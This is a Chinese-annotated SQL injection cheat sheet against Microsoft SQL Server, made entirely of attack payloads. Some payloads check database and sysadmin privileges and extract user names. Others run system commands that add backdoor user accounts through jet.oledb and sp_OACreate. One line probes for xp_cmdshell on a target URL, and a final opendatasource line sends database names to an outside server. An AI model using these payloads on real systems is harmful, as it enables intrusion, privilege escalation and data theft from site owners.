//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
数字类型
and char(124)%2Buser%2Bchar(124)=0
字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases